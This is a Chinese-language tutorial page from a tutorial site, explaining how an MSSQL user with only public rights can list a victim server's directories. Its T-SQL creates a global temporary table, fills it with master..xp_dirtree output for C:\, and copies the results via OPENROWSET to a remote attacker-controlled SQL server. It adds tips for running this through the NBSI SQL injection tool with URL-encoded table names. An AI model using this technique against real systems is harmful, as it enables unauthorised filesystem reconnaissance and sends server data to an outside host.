当前位置: 首页 > 图文教程 > 数据库 > MSSQL > Public权限下的列目录

MSSQL
讲解数据库调优与程序员相关的几个方面
揭开微软SQL Server 2008的神秘面纱
SQL Server 2008:表值参数的创建和使用
在SQL Server 2008中运用表值参数(TVP)
解读微软SQL Server 2008空间数据
微软SQL Server 2008 的新压缩特性
带你深入了解SQL Server 2008独到之处
如何使用SQL Server 2008升级顾问
详解SQL Server 2008中的联机事务处理
解读SQL Server 2008的新语句MERGE
使用SQL Server 2008进行服务器合并
SQL Server 2008:开辟崭新数据平台
微软数据平台开发与SQL Server 2008
微软SQL Server 2008之行值构造器
SQL Server 2008 数据加载创世界记录
浅析SQL2008的Change Data Capture功能
SQL Server大数据量统计系统的经验总结
详解Windows Server 2008中的NAP
SqlServer2005对现有数据进行分区具体步骤
无数据库日志文件恢复数据库方法两则(二)

MSSQL 中的 Public权限下的列目录


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-30   浏览: 509 ::
收藏到网摘: n/a

  提起public权限的用户估计很多人也觉得郁闷了吧~N久以前看了一篇《论在mssql中public和db_owner权限下拿到webshell或是系统权限》的文章(名字真长-_-!!!),里面说到没办法利用xp_regread,xp_dirtree…这些存储过程,原因是public没有办法建表,我在这里矫正一下其实public是可以建表的,使这些存储过程能利用上,071088b104HaKX8E看下面的代码吧
  --建立一个临时表,一般的表我们是无办法建立的,我们只能建立临时表
  #-----为本地临时表
  ##----为全局临时表
  create table ##nonamed(
  dir ntext,
  num int
  )
  --调用存储过程把执行回来的数据存到临时表里面
  insert ##nonamed execute master..xp_dirtree 'c:\',1
  --然后采用openrowset函数把临时表的数据导到本地MSSQL 的dirtree表里面了
  insert into openrowset('sqloledb', '192.0.0.1';'user';'pass', 'select * from Northwind.dbo.dirtree')
  select * from ##nonamed
  以上方法,也就是说public可以遍历用户服务器的目录
  在NBSI中,只要把临时表名加前加##就可以了,但要注意URL转码,即写成:%23%23nonamed就OK了!